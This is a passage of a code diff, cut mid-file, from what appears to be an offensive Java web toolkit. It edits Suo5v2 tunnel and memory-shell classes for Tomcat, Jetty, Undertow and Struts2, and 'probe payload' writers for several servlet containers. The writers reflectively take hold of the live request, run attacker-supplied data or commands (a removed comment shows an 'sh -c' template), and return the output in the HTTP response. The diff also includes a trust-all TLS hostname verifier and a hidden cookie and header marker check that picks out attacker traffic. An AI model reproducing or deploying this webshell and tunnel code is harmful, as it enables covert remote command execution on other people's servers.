for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -216,7 +216,11 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
}
} catch (Throwable ignored) {
} finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignore) {}
}
}
@@ -178,7 +178,11 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -1004,109 +1008,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -173,7 +173,11 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -999,109 +1003,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -161,7 +161,11 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -987,109 +991,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -164,7 +164,11 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -990,109 +994,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -164,7 +164,11 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -990,109 +994,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -167,7 +167,11 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -993,109 +997,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -29,7 +29,7 @@ public class ResponseBodyConfig extends ProbeContentConfig {
private String base64Bytes;
/**
* 命令执行模板例如 sh -c "{command}" 2>&1使用 {command} 作为占位符
* 命令执行模板使用 {command} 作为占位符
*/
private String commandTemplate;
@@ -9,7 +9,6 @@ import java.util.Set;
/**
* HTTP 服务类型识别主要识别 Servlet 容器实现例如 WildFly 识别为 UndertowPayara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的都会识别为 GlassFish
* <br/>
* 额外需要注意
* 1. 不会识别 SpringWebMVC Struct2 这种框架只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要部分类型的识别单独拿出来是不准确的没有测试的情况下不要以下的 if 判断顺序
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
@@ -32,15 +35,25 @@ public class ApusicWriter {
Object response = getFieldValue(servletInvocation, "response");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
}
@@ -96,4 +109,19 @@ public class ApusicWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -22,10 +25,8 @@ public class GlassFishWriter {
// GlassFish3
Thread thread = Thread.currentThread();
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
if (tryWriteRes(request)) {
return;
}
} catch (Exception x) {
// GlassFish4+
@@ -48,10 +49,7 @@ public class GlassFishWriter {
}
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
if (tryWriteRes(request)) {
return;
}
}
@@ -64,15 +62,32 @@ public class GlassFishWriter {
}
}
private void execute(Object response, String data) throws Exception {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
return true;
}
writer.flush();
writer.close();
return false;
}
private String getDataFromReq(Object request) throws Exception {
@@ -119,4 +134,19 @@ public class GlassFishWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -2,8 +2,10 @@ package com.reajason.javaweb.probe.payload.response;
import org.eclipse.jetty.util.Callback;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -49,23 +51,30 @@ public class JettyWriter {
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
StringWriter sw = new StringWriter();
PrintWriter writer = new PrintWriter(sw);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
String result = sw.toString();
System.out.println("result: " + result);
try {
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
} catch (Exception e) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
try {
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
resWriter.flush();
resWriter.close();
} catch (Exception x) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
}
}
}
return;
}
@@ -122,4 +131,19 @@ public class JettyWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -22,17 +25,30 @@ public class ResinWriter {
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
Object response = getFieldValue(request, "_response");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
// invokeMethod(response, "close", null, null);
}
writer.flush();
writer.close();
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
invokeMethod(response, "close", null, null);
} catch (Throwable e) {
e.printStackTrace();
} finally {
@@ -84,4 +100,19 @@ public class ResinWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -23,17 +26,26 @@ public class SpringWebMvcWriter {
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
@@ -85,4 +97,19 @@ public class SpringWebMvcWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -23,15 +26,25 @@ public class Struct2Writer {
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -84,4 +97,19 @@ public class Struct2Writer {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -71,14 +74,25 @@ public class TomcatWriter {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
